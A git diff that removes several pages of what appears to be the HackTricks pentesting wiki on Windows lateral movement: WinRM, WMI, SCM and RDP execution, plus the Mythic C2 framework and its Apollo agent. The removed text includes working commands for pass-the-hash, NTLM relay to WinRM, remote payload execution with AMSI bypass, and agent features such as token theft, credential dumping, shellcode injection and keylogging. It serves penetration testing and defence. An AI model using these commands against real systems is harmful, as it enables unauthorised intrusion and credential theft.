-- Windows 11 24H2 and Windows Server 2025 require SMB signing by default for outbound (and Windows 11 inbound) connections. This does not break legitimate PsExec usage with valid creds but prevents unsigned SMB relay abuse and may impact devices that don’t support signing.
-- New SMB client NTLM blocking (Windows 11 24H2/Server 2025) can prevent NTLM fallback when connecting by IP or to non-Kerberos servers. In hardened environments this will break NTLM-based PsExec/SMBExec; use Kerberos (hostname/FQDN) or configure exceptions if legitimately needed.
-- Principle of least privilege: minimize local admin membership, prefer Just-in-Time/Just-Enough Admin, enforce LAPS, and monitor/alert on 7045 service installs.
-
-## See also
-
-- WMI-based remote exec (often more fileless):
-
-
-{{#ref}}
-./wmiexec.md
-{{#endref}}
-
-- WinRM-based remote exec:
-
-
-{{#ref}}
-./winrm.md
-{{#endref}}
-
-
-
-## References
-
-- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
-- SMB security hardening in Windows Server 2025 & Windows 11 (signing by default, NTLM blocking): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/lateral-movement/rdpexec.md b/src/windows-hardening/lateral-movement/rdpexec.md
deleted file mode 100644
index 17ec5ea97c8..00000000000
--- a/src/windows-hardening/lateral-movement/rdpexec.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# RDPexec
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## How it Works
-
-**RDPexec** is basically to execute commands login into the system using RDP.
-
-For more information check:
-
-
-{{#ref}}
-../../network-services-pentesting/pentesting-rdp.md
-{{#endref}}
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/windows-hardening/lateral-movement/scmexec.md b/src/windows-hardening/lateral-movement/scmexec.md
deleted file mode 100644
index 14f90a032db..00000000000
--- a/src/windows-hardening/lateral-movement/scmexec.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# DCOM Exec
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## SCM
-
-**SCMExec** is a technique to execute commands on remote systems using the Service Control Manager (SCM) to create a service that runs the command. This method can bypass some security controls, such as User Account Control (UAC) and Windows Defender.
-
-## Tools
-
-- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
-
-SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/lateral-movement/winrm.md b/src/windows-hardening/lateral-movement/winrm.md
deleted file mode 100644
index f91b9c3ca23..00000000000
--- a/src/windows-hardening/lateral-movement/winrm.md
+++ /dev/null
@@ -1,256 +0,0 @@
-# WinRM
-
-{{#include ../../banners/hacktricks-training.md}}
-
-WinRM is one of the most convenient **lateral movement** transports in Windows environments because it gives you a remote shell over **WS-Man/HTTP(S)** without needing SMB service creation tricks. If the target exposes **5985/5986** and your principal is allowed to use remoting, you can often move from "valid creds" to "interactive shell" very quickly.
-
-For the **protocol/service enumeration**, listeners, enabling WinRM, `Invoke-Command`, and generic client usage, check:
-
-{{#ref}}
-../../network-services-pentesting/5985-5986-pentesting-winrm.md
-{{#endref}}
-
-## Why operators like WinRM
-
-- Uses **HTTP/HTTPS** instead of SMB/RPC, so it often works where PsExec-style execution is blocked.
-- With **Kerberos**, it avoids sending reusable credentials to the target.
-- Works cleanly from **Windows**, **Linux**, and **Python** tooling (`winrs`, `evil-winrm`, `pypsrp`, `netexec`).
-- The interactive PowerShell remoting path spawns **`wsmprovhost.exe`** on the target under the authenticated user context, which is operationally different from service-based exec.
-
-## Access model and prerequisites
-
-In practice, successful WinRM lateral movement depends on **three** things:
-
-1. The target has a **WinRM listener** (`5985`/`5986`) and firewall rules that allow access.
-2. The account can **authenticate** to the endpoint.
-3. The account is allowed to **open a remoting session**.
-
-Common ways to gain that access:
-
-- **Local Administrator** on the target.
-- Membership in **Remote Management Users** on newer systems or **WinRMRemoteWMIUsers__** on systems/components that still honor that group.
-- Explicit remoting rights delegated through local security descriptors / PowerShell remoting ACL changes.
-
-If you already control a box with admin rights, remember you can also **delegate WinRM access without full admin group membership** using the techniques described here:
-
-{{#ref}}
-../active-directory-methodology/security-descriptors.md
-{{#endref}}
-
-### Authentication gotchas that matter during lateral movement
-
-- **Kerberos requires a hostname/FQDN**. If you connect by IP, the client usually falls back to **NTLM/Negotiate**.
-- In **workgroup** or cross-trust edge cases, NTLM commonly requires either **HTTPS** or the target to be added to **TrustedHosts** on the client.
-- With **local accounts** over Negotiate in a workgroup, UAC remote restrictions may prevent access unless the built-in Administrator account is used or `LocalAccountTokenFilterPolicy=1`.
-- PowerShell remoting defaults to the **`HTTP/<host>` SPN**. In environments where `HTTP/<host>` is already registered to some other service account, WinRM Kerberos may fail with `0x80090322`; use a port-qualified SPN or switch to **`WSMAN/<host>`** where that SPN exists.
-
-If you land valid credentials during password spraying, validating them over WinRM is often the fastest way to check whether they translate into a shell:
-
-{{#ref}}
-../active-directory-methodology/password-spraying.md
-{{#endref}}
-
-## Linux-to-Windows lateral movement
-
-### NetExec / CrackMapExec for validation and one-shot execution
-
-```bash
-# Validate creds and execute a simple command
-netexec winrm <HOST_FQDN> -u <USER> -p '<PASSWORD>' -x "whoami /all"
-
-# Pass-the-Hash
-netexec winrm <HOST_FQDN> -u <USER> -H <NTHASH> -x "hostname"
-
-# PowerShell command instead of cmd.exe
-netexec winrm <HOST_FQDN> -u <USER> -H <NTHASH> -X '$PSVersionTable'
-```
-
-### Evil-WinRM for interactive shells
-
-`evil-winrm` remains the most convenient interactive option from Linux because it supports **passwords**, **NT hashes**, **Kerberos tickets**, **client certificates**, file transfer, and in-memory PowerShell/.NET loading.
-
-```bash
-# Password
-evil-winrm -i <HOST_FQDN> -u <USER> -p '<PASSWORD>'
-
-# Pass-the-Hash
-evil-winrm -i <HOST_FQDN> -u <USER> -H <NTHASH>
-
-# Kerberos using an existing ccache/kirbi
-export KRB5CCNAME=./user.ccache
-evil-winrm -i <HOST_FQDN> -r <REALM.LOCAL>
-```
-
-### Kerberos SPN edge case: `HTTP` vs `WSMAN`
-
-When the default **`HTTP/<host>`** SPN causes Kerberos failures, try requesting/using a **`WSMAN/<host>`** ticket instead. This appears in hardened or odd enterprise setups where `HTTP/<host>` is already attached to another service account.
-
-```bash
-# Example: use a WSMAN ticket instead of the default HTTP SPN
-export KRB5CCNAME=administrator@WSMAN_srv01.domain.local@DOMAIN.LOCAL.ccache
-evil-winrm -i srv01.domain.local -r DOMAIN.LOCAL --spn WSMAN
-```
-
-This is also useful after **RBCD / S4U** abuse when you specifically forged or requested a **WSMAN** service ticket rather than a generic `HTTP` ticket.
-
-### Certificate-based authentication
-
-WinRM also supports **client certificate authentication**, but the certificate must be mapped on the target to a **local account**. From an offensive perspective this matters when:
-
-- you stole/exported a valid client certificate and private key already mapped for WinRM;
-- you abused **AD CS / Pass-the-Certificate** to obtain a certificate for a principal and then pivot into another authentication path;
-- you are operating in environments that deliberately avoid password-based remoting.
-
-```bash
-evil-winrm -i <HOST_FQDN> -S -c user.crt -k user.key
-```
-
-Client-certificate WinRM is much less common than password/hash/Kerberos auth, but when it exists it can provide a **passwordless lateral movement** path that survives password rotation.
-
-### Python / automation with `pypsrp`
-
-If you need automation rather than an operator shell, `pypsrp` gives you WinRM/PSRP from Python with **NTLM**, **certificate auth**, **Kerberos**, and **CredSSP** support.
-
-```python
-from pypsrp.client import Client
-
-client = Client(
-    "srv01.domain.local",
-    username="DOMAIN\\user",
-    password="Password123!",
-    ssl=False,
-)
-stdout, stderr, rc = client.execute_cmd("whoami /all")
-print(stdout, stderr, rc)
-```
-
-
-If you need finer control than the high-level `Client` wrapper, the lower-level `WSMan` + `RunspacePool` APIs are useful for two common operator problems:
-
-- forcing **`WSMAN`** as the Kerberos service/SPN instead of the default `HTTP` expectation used by many PowerShell clients;
-- connecting to a **non-default PSRP endpoint** such as a **JEA** / custom session configuration instead of `Microsoft.PowerShell`.
-
-```python
-from pypsrp.wsman import WSMan
-from pypsrp.powershell import PowerShell, RunspacePool
-
-wsman = WSMan(
-    "srv01.domain.local",
-    auth="kerberos",
-    ssl=False,
-    negotiate_service="WSMAN",
-)
-
-with wsman, RunspacePool(wsman, configuration_name="MyJEAEndpoint") as pool, PowerShell(pool) as ps:
-    ps.add_script("whoami; Get-Command")
-    output = ps.invoke()
-    print(output)
-```
-
-### Custom PSRP endpoints and JEA matter during lateral movement
-
-A successful WinRM authentication does **not** always mean you land in the default unrestricted `Microsoft.PowerShell` endpoint. Mature environments may expose **custom session configurations** or **JEA** endpoints with their own ACLs and run-as behavior.
-
-If you already have code execution on a Windows host and want to understand what remoting surfaces exist, enumerate the registered endpoints:
-
-```powershell
-Get-PSSessionConfiguration | Select-Object Name, Permission
-```
-
-When a useful endpoint exists, target it explicitly instead of the default shell:
-
-```powershell
-Enter-PSSession -ComputerName srv01.domain.local -ConfigurationName MyJEAEndpoint
-```
-
-Practical offensive implications:
-
-- A **restricted** endpoint can still be enough for lateral movement if it exposes just the right cmdlets/functions for service control, file access, process creation, or arbitrary .NET / external command execution.
-- A **misconfigured JEA** role is especially valuable when it exposes dangerous commands such as `Start-Process`, broad wildcards, writable providers, or custom proxy functions that let you escape the intended restrictions.
-- Endpoints backed by **RunAs virtual accounts** or **gMSAs** change the effective security context of the commands you run. In particular, a gMSA-backed endpoint can provide **network identity on the second hop** even when a normal WinRM session would hit the classic delegation problem.
-
-## Windows-native WinRM lateral movement
-
-### `winrs.exe`
-
-`winrs.exe` is built in and useful when you want **native WinRM command execution** without opening an interactive PowerShell remoting session:
-
-```cmd
-winrs -r:srv01.domain.local cmd /c whoami
-winrs -r:https://srv01.domain.local:5986 -u:DOMAIN\\user -p:Password123! hostname
-```
-
-Two flags are easy to forget and matter in practice:
-
-- `/noprofile` is often required when the remote principal is **not** a local administrator.
-- `/allowdelegate` enables the remote shell to use your credentials against a **third host** (for example, when the command needs `\\fileserver\share`).
-
-```cmd
-winrs -r:srv01.domain.local /noprofile cmd /c set
-winrs -r:srv01.domain.local /allowdelegate cmd /c dir \\fileserver.domain.local\share
-```
-
-Operationally, `winrs.exe` commonly results in a remote process chain similar to:
-
-```text
-svchost.exe (DcomLaunch) -> winrshost.exe -> cmd.exe /c <command>
-```
-
-This is worth remembering because it differs from service-based exec and from interactive PSRP sessions.
-
-### `winrm.cmd` / WS-Man COM instead of PowerShell remoting
-
-You can also execute through **WinRM transport** without `Enter-PSSession` by invoking WMI classes over WS-Man. This keeps the transport as WinRM while the remote execution primitive becomes **WMI `Win32_Process.Create`**:
-
-```cmd
-winrm invoke Create wmicimv2/Win32_Process @{CommandLine="cmd.exe /c whoami > C:\\Windows\\Temp\\who.txt"} -r:srv01.domain.local
-```
-
-That approach is useful when:
-
-- PowerShell logging is heavily monitored.
-- You want **WinRM transport** but not a classic PS remoting workflow.
-- You are building or using custom tooling around the **`WSMan.Automation`** COM object.
-
-## NTLM relay to WinRM (WS-Man)
-
-When SMB relay is blocked by signing and LDAP relay is constrained, **WS-Man/WinRM** may still be an attractive relay target. Modern `ntlmrelayx.py` includes **WinRM relay servers** and can relay to **`wsman://`** or **`winrms://`** targets.
-
-```bash
-# Relay to HTTP WinRM
-ntlmrelayx.py -t wsman://srv01.domain.local --no-smb-server -smb2support
-
-# Relay to HTTPS WinRM
-ntlmrelayx.py -t winrms://srv01.domain.local --no-smb-server -smb2support
-```
-
-Two practical notes:
-
-- Relay is most useful when the target accepts **NTLM** and the relayed principal is allowed to use WinRM.
-- Recent Impacket code specifically handles **`WSMANIDENTIFY: unauthenticated`** requests so `Test-WSMan`-style probes do not break the relay flow.
-
-For multi-hop constraints after landing a first WinRM session, check:
-
-{{#ref}}
-../active-directory-methodology/kerberos-double-hop-problem.md
-{{#endref}}
-
-## OPSEC and detection notes
-
-- **Interactive PowerShell remoting** usually creates **`wsmprovhost.exe`** on the target.
-- **`winrs.exe`** commonly creates **`winrshost.exe`** and then the requested child process.
-- Custom **JEA** endpoints may execute actions as **`WinRM_VA_*`** virtual accounts or as a configured **gMSA**, which changes both telemetry and second-hop behavior compared to a normal user-context shell.
-- Expect **network logon** telemetry, WinRM service events, and PowerShell operational/script-block logging if you use PSRP rather than raw `cmd.exe`.
-- If you only need a single command, `winrs.exe` or one-shot WinRM execution may be quieter than a long-lived interactive remoting session.
-- If Kerberos is available, prefer **FQDN + Kerberos** over IP + NTLM to reduce both trust issues and awkward client-side `TrustedHosts` changes.
-
-## References
-
-- [Microsoft: JEA Security Considerations](https://learn.microsoft.com/en-us/powershell/scripting/security/remoting/jea/security-considerations?view=powershell-7.6)
-- [pypsrp README](https://github.com/jborean93/pypsrp)
-- [Microsoft: Error `0x80090322` when connecting PowerShell to a remote server via WinRM](https://learn.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/error-0x80090322-when-connecting-powershell-to-remote-server-via-winrm)
-
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/windows-hardening/lateral-movement/wmiexec.md b/src/windows-hardening/lateral-movement/wmiexec.md
deleted file mode 100644
index 6c4238131f1..00000000000
--- a/src/windows-hardening/lateral-movement/wmiexec.md
+++ /dev/null
@@ -1,153 +0,0 @@
-# WmiExec
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## How It Works Explained
-
-Processes can be opened on hosts where the username and either password or hash are known through the use of WMI. Commands are executed using WMI by Wmiexec, providing a semi-interactive shell experience.
-
-**dcomexec.py:** Utilizing different DCOM endpoints, this script offers a semi-interactive shell akin to wmiexec.py, specifically leveraging the ShellBrowserWindow DCOM object. It currently supports MMC20. Application, Shell Windows, and Shell Browser Window objects. (source: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
-
-## WMI Fundamentals
-
-### Namespace
-
-Structured in a directory-style hierarchy, WMI's top-level container is \root, under which additional directories, referred to as namespaces, are organized.
-Commands to list namespaces:
-
-```bash
-# Retrieval of Root namespaces
-gwmi -namespace "root" -Class "__Namespace" | Select Name
-
-# Enumeration of all namespaces (administrator privileges may be required)
-Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
-
-# Listing of namespaces within "root\cimv2"
-Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
-```
-
-Classes within a namespace can be listed using:
-
-```bash
-gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified
-gwmi -Namespace "root/microsoft" -List -Recurse
-```
-
-### **Classes**
-
-Knowing a WMI class name, such as win32_process, and the namespace it resides in is crucial for any WMI operation.
-Commands to list classes beginning with `win32`:
-
-```bash
-Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2"
-gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
-```
-
-Invocation of a class:
-
-```bash
-# Defaults to "root/cimv2" when namespace isn't specified
-Get-WmiObject -Class win32_share
-Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus
-```
-
-### Methods
-
-Methods, which are one or more executable functions of WMI classes, can be executed.
-
-```bash
-# Class loading, method listing, and execution
-$c = [wmiclass]"win32_share"
-$c.methods
-# To create a share: $c.Create("c:\share\path","name",0,$null,"My Description")
-```
-
-```bash
-# Method listing and invocation
-Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)
-```
-
-## WMI Enumeration
-
-### WMI Service Status
-
-Commands to verify if the WMI service is operational:
-
-```bash
-# WMI service status check
-Get-Service Winmgmt
-
-# Via CMD
-net start | findstr "Instrumentation"
-```
-
-### System and Process Information
-
-Gathering system and process information through WMI:
-
-```bash
-Get-WmiObject -ClassName win32_operatingsystem | select * | more
-Get-WmiObject win32_process | Select Name, Processid
-```
-
-For attackers, WMI is a potent tool for enumerating sensitive data about systems or domains.
-
-```bash
-wmic computerystem list full /format:list
-wmic process list /format:list
-wmic ntdomain list /format:list
-wmic useraccount list /format:list
-wmic group list /format:list
-wmic sysaccount list /format:list
-```
-
-Remote querying of WMI for specific information, such as local admins or logged-on users, is feasible with careful command construction.
-
-### **Manual Remote WMI Querying**
-
-Stealthy identification of local admins on a remote machine and logged-on users can be achieved through specific WMI queries. `wmic` also supports reading from a text file to execute commands on multiple nodes simultaneously.
-
-To remotely execute a process over WMI, such as deploying an Empire agent, the following command structure is employed, with successful execution indicated by a return value of "0":
-
-```bash
-wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
-```
-
-This process illustrates WMI's capability for remote execution and system enumeration, highlighting its utility for both system administration and penetration testing.
-
-## Automatic Tools
-
-- [**SharpLateral**](https://github.com/mertdas/SharpLateral):
-
-```bash
-SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
-```
-
-- [**SharpWMI**](https://github.com/GhostPack/SharpWMI)
-
-```bash
-SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
-# Stealthier execution with VBS
-SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
-```
-
-- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
-
-```bash
-SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password
-SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password
-SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password
-```
-
-- You could also use **Impacket's `wmiexec`**.
-
-
-## References
-
-- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
-
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/mythic.md b/src/windows-hardening/mythic.md
deleted file mode 100644
index e8665b64549..00000000000
--- a/src/windows-hardening/mythic.md
+++ /dev/null
@@ -1,310 +0,0 @@
-# Mythic
-
-{{#include ../banners/hacktricks-training.md}}
-
-## What is Mythic?
-
-Mythic is an open-source, modular, collaborative command and control (C2) framework designed for red teaming. It allows operators to manage and deploy agents (payloads) across different operating systems, including Windows, Linux, and macOS. Mythic provides a browser UI for multi-operator tasking, file handling, SOCKS/rpfwd management, and payload generation.
-
-Unlike monolithic frameworks, the Mythic repository itself does **not** ship payload types or C2 profiles. Agents, wrappers, and C2 profiles are typically installed as external components and can be updated independently from Mythic core.
-
-### Installation
-
-To install Mythic, follow the instructions on the official **[Mythic repo](https://github.com/its-a-feature/Mythic)**. A common bootstrap from the Mythic directory is:
-
-```bash
-sudo make
-sudo ./mythic-cli start
-```
-
-If Mythic is already running, you can normally add a new agent or profile with `./mythic-cli install github ...` and then either restart Mythic or just start the new component directly.
-
-### Agents
-
-Mythic supports multiple agents, which are the **payloads that perform tasks on the compromised systems**. Each agent can be tailored to specific needs and can run on different operating systems.
-
-By default Mythic doesn't have any agents installed. The open-source community agents live in [**https://github.com/MythicAgents**](https://github.com/MythicAgents), and the [**community feature matrix**](https://mythicmeta.github.io/overview/agent_matrix.html) is useful to quickly check supported operating systems, payload formats, wrappers, and C2 profiles.
-
-To install an agent from that org you can run:
-
-```bash
-sudo ./mythic-cli install github https://github.com/MythicAgents/<agent-name>
-sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo.git
-sudo -E ./mythic-cli install github https://github.com/MythicAgents/Apollo.git
-```
-
-The `sudo -E` form is useful when you are installing from a non-root environment. You can add new agents with the previous command even if Mythic is already running.
-
-### C2 Profiles
-
-C2 profiles in Mythic define **how agents communicate with the Mythic server**. They specify the communication protocol, encryption methods, and other settings. You can create and manage C2 profiles through the Mythic web interface.
-
-By default Mythic is installed with no profiles, however, it's possible to download some profiles from the repo [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) running:
-
-```bash
-sudo ./mythic-cli install github https://github.com/MythicC2Profiles/<c2-profile>
-sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
-```
-
-Current operator-relevant profiles to keep in mind:
-
-- [`http`](https://github.com/MythicC2Profiles/http): basic asynchronous GET/POST traffic.
-- [`httpx`](https://github.com/MythicC2Profiles/httpx): more flexible HTTP traffic with multiple callback domains, fail-over/round-robin rotation, custom headers/query parameters, and message transforms (`base64`, `base64url`, `xor`, `netbios`, `prepend`, `append`) placed in cookies, headers, query parameters, or body.
-- [`dynamichttp`](https://github.com/MythicC2Profiles/dynamichttp): JSON/TOML-driven HTTP message shaping when the static `http` profile is too recognizable.
-
-### Current platform notes
-
-- Many public agents and profiles now install with pre-built remote container images.
-  If you fork a component or patch it locally and Mythic keeps using the old
-  behavior, inspect the generated `.env` entries for `*_REMOTE_IMAGE`,
-  `*_USE_BUILD_CONTEXT`, and `*_USE_VOLUME`; enabling
-  `*_USE_BUILD_CONTEXT="true"` is usually what makes Mythic rebuild from your
-  local Docker context instead of silently reusing the remote image.
-- Browser scripts are one of Mythic's highest-value quality-of-life features
-  for operators: they can turn raw command output into tables, screenshot
-  viewers, download links, and buttons that issue follow-on tasking directly
-  from the UI. This is especially useful for repetitive `ls`, `ps`, triage,
-  and file-browser workflows.
-- Newer Mythic builds also support interactive tasking and Push C2 patterns
-  that reduce the need for `sleep 0` polling during PTY/SOCKS/rpfwd-heavy
-  operations. When an agent/profile supports it, this is usually lower-overhead
-  than hammering the server with constant check-ins just to keep an interactive
-  channel usable.
-
-### Wrapper payloads
-
-Wrapper payloads let you keep the same agent logic while changing the on-disk representation that gets delivered or persisted.
-
-- `service_wrapper`: turns another payload into a Windows service executable, which is useful when the execution path requires a valid service binary.
-- `scarecrow_wrapper`: wraps compatible shellcode with the ScareCrow loader to generate loader-backed outputs such as EXE/DLL/CPL.
-
-## [Apollo Agent](https://github.com/MythicAgents/Apollo)
-
-Apollo is a Windows agent written in C# using the 4.0 .NET Framework designed to be used in SpecterOps training offerings.
-
-Install it with:
-
-```bash
-./mythic-cli install github https://github.com/MythicAgents/Apollo.git
-```
-
-### Current build/profile notes
-
-- Apollo can currently emit `WinExe`, `Shellcode`, `Service`, and `Source` payloads.
-- The commonly used Apollo profiles are `http`, `httpx`, `smb`, `tcp`, and `websocket`.
-- `httpx` is usually the more flexible option when you need domain rotation, proxy support, custom message placement, and message transforms instead of the older static `http` profile.
-- Apollo supports wrapper payloads such as `service_wrapper` and `scarecrow_wrapper`.
-- `register_file` and `register_assembly` are the staging primitives for `execute_assembly`, `execute_pe`, `inline_assembly`, `execute_coff`, `powershell_import`, and `powerpick`. In current Apollo builds, those staged artifacts are cached client-side as DPAPI-protected AES256 blobs.
-- `ls` and `ps` results integrate especially well with Mythic's browser scripts and file/process browser, which makes operator triage noticeably faster in collaborative operations.
-- Apollo's fork-and-run jobs inherit their sacrificial process settings from
-  `spawnto_x86` / `spawnto_x64`, inherit parent selection from `ppid`, and
-  then use the currently selected injection primitive. In practice, this means
-  your OPSEC tuning for one command often affects `execute_assembly`,
-  `powerpick`, `mimikatz`, `pth`, `dcsync`, `execute_pe`, and `spawn` at the
-  same time.
-- Current documented Apollo injection backends include `CreateRemoteThread`,
-  `QueueUserAPC` (early-bird style), and `NtCreateThreadEx` via syscalls. Use
-  `get_injection_techniques` before noisy post-exploitation and
-  `set_injection_technique` if you need to swap away from a primitive that
-  clashes with the target or the command you want to run.
-- `blockdlls` only affects sacrificial processes created for post-exploitation
-  jobs. Combined with a less suspicious `spawnto_x64` target than the default
-  bare `rundll32.exe`, this is one of the easiest Apollo-side changes to make
-  before running assembly/PowerShell-heavy tasking.
-
-This agent has a lot of commands that makes it very similar to Cobalt Strike's Beacon with some extras. Among them, it supports:
-
-### Common actions
-
-- `cat`: Print the contents of a file
-- `cd`: Change the current working directory
-- `cp`: Copy a file from one location to another
-- `ls`: List files and directories in the current directory or specified path
-- `ifconfig`: Get network adapters and interfaces
-- `netstat`: Get TCP and UDP connection information
-- `pwd`: Print the current working directory
-- `ps`: List running processes on the target system (with added info)
-- `jobs`: List all running jobs associated with long-running tasking
-- `download`: Download a file from the target system to the local machine
-- `upload`: Upload a file from the local machine to the target system
-- `reg_query`: Query registry keys and values on the target system
-- `reg_write_value`: Write a new value to a specified registry key
-- `sleep`: Change the agent's sleep interval, which determines how often it checks in with the Mythic server
-- And many others, use `help` to see the full list of available commands.
-
-### Privilege escalation
-
-- `getprivs`: Enable as many privileges as possible on the current thread token
-- `getsystem`: Open a handle to winlogon and duplicate the token, effectively escalating privileges to SYSTEM level
-- `make_token`: Create a new logon session and apply it to the agent, allowing for impersonation of another user
-- `steal_token`: Steal a primary token from another process, allowing the agent to impersonate that process's user
-- `pth`: Pass-the-Hash attack, allowing the agent to authenticate as a user using their NTLM hash without needing the plaintext password
-- `mimikatz`: Run Mimikatz commands to extract credentials, hashes, and other sensitive information from memory or the SAM database
-- `rev2self`: Revert the agent's token to its primary token, effectively dropping privileges back to the original level
-- `ppid`: Change the parent process for post-exploitation jobs by specifying a new parent process ID, allowing for better control over job execution context
-- `printspoofer`: Execute PrintSpoofer commands to bypass print spooler security measures, allowing for privilege escalation or code execution
-- `dcsync`: Sync a user's Kerberos keys to the local machine, allowing for offline password cracking or further attacks
-- `ticket_cache_add`: Add a Kerberos ticket to the current logon session or a specified one, allowing for ticket reuse or impersonation
-
-### Process execution
-
-- `assembly_inject`: Allows to inject a .NET assembly loader into a remote process
-- `blockdlls`: Block non-Microsoft signed DLLs from loading into post-exploitation jobs
-- `execute_assembly`: Executes a .NET assembly in the context of the agent
-- `execute_coff`: Executes a COFF file in memory, allowing for in-memory execution of compiled code
-- `execute_pe`: Executes an unmanaged executable (PE)
-- `keylog_inject`: Injects a keylogger into another process and streams keystrokes back into Mythic's keylog view
-- `screenshot` / `screenshot_inject`: Capture the current desktop directly or
-  by injecting a screenshot assembly into a target process/session
-- `get_injection_techniques`: Show available injection techniques and the currently selected one
-- `inline_assembly`: Executes a .NET assembly in a disposable AppDomain, allowing for temporary execution of code without affecting the agent's main process
-- `register_assembly`: Register a .NET assembly for later execution
-- `register_file`: Register a file in the agent cache for later `execute_*` or PowerShell tasking
-- `run`: Executes a binary on the target system, using the system's PATH to find the executable
-- `set_injection_technique`: Change the injection primitive used by post-exploitation jobs
-- `shinject`: Injects shellcode into a remote process, allowing for in-memory execution of arbitrary code
-- `inject`: Injects agent shellcode into a remote process, allowing for in-memory execution of the agent's code
-- `spawn`: Spawns a new agent session in the specified executable, allowing for the execution of shellcode in a new process
-- `spawnto_x64` and `spawnto_x86`: Change the default binary used in post-exploitation jobs to a specified path instead of using `rundll32.exe` without params which is very noisy.
-
-### Mythic Forge
-
-This allows to **load COFF/BOF** files from the Mythic Forge, which is a repository of pre-compiled payloads and tools that can be executed on the target system. With all the commands that can be loaded it'll be possible to perform common actions executing them in the current agent process as BOFs (usually with better OPSEC than spawning a separate process).
-
-Start installing them with:
-
-```bash
-./mythic-cli install github https://github.com/MythicAgents/forge.git
-```
-
-Then, use `forge_collections` to show the COFF/BOF modules from the Mythic Forge to be able to select and load them into the agent's memory for execution. By default, the following 2 collections are added in Apollo:
-
-- `forge_collections {"collectionName":"SharpCollection"}`
-- `forge_collections {"collectionName":"SliverArmory"}`
-
-After one module is loaded, it'll appear in the list as another command like `forge_bof_sa-whoami` or `forge_bof_sa-netuser`.
-
-For BOFs, remember that Forge does **not** just pass one flat argument string
- to Apollo. It maps BOF parameters into Mythic's typed-array format and then
- forwards them into Apollo's `execute_coff` flow. If a Forge-loaded BOF behaves
- strangely, check the expected BOF argument types / entrypoint rather than only
- the command line you typed.
-
-### PowerShell & scripting execution
-
-- `powershell_import`: Imports a new PowerShell script (.ps1) into the agent cache for later execution
-- `powershell`: Executes a PowerShell command in the context of the agent, allowing for advanced scripting and automation
-- `powerpick`: Injects a PowerShell loader assembly into a sacrificial process and executes a PowerShell command (without powershell logging).
-- `psinject`: Executes PowerShell in a specified process, allowing for targeted execution of scripts in the context of another process
-- `shell`: Executes a shell command in the context of the agent, similar to running a command in cmd.exe
-
-### Lateral Movement
-
-- `jump_psexec`: Uses the PsExec technique to move laterally to a new host by first copying over the Apollo agent executable (apollo.exe) and executing it.
-- `jump_wmi`: Uses the WMI technique to move laterally to a new host by first copying over the Apollo agent executable (apollo.exe) and executing it.
-- `link` and `unlink`: Create and tear down P2P links (for example over SMB/TCP) between callbacks.
-- `wmiexecute`: Executes a command on the local or specified remote system using WMI, with optional credentials for impersonation.
-- `net_dclist`: Retrieves a list of domain controllers for the specified domain, useful for identifying potential targets for lateral movement.
-- `net_localgroup`: Lists local groups on the specified computer, defaulting to localhost if no computer is specified.
-- `net_localgroup_member`: Retrieves local group membership for a specified group on the local or remote computer, allowing for enumeration of users in specific groups.
-- `net_shares`: Lists remote shares and their accessibility on the specified computer, useful for identifying potential targets for lateral movement.
-- `socks`: Enables a SOCKS 5 compliant proxy on the target network, allowing for tunneling of traffic through the compromised host. Compatible with tools like proxychains.
-- `rpfwd`: Starts listening on a specified port on the target host and forwards traffic through Mythic to a remote IP and port, allowing for remote access to services on the target network.
-- `listpipes`: Lists all named pipes on the local system, which can be useful for lateral movement or privilege escalation by interacting with IPC mechanisms.
-
-For the lower-level WMI execution primitives used underneath `jump_wmi` or `wmiexecute`, check [WmiExec](lateral-movement/wmiexec.md). For broader pivoting patterns, check [Tunneling and Port Forwarding](../generic-hacking/tunneling-and-port-forwarding.md).
-
-### Miscellaneous Commands
-- `help`: Displays detailed information about specific commands or general information about all available commands in the agent.
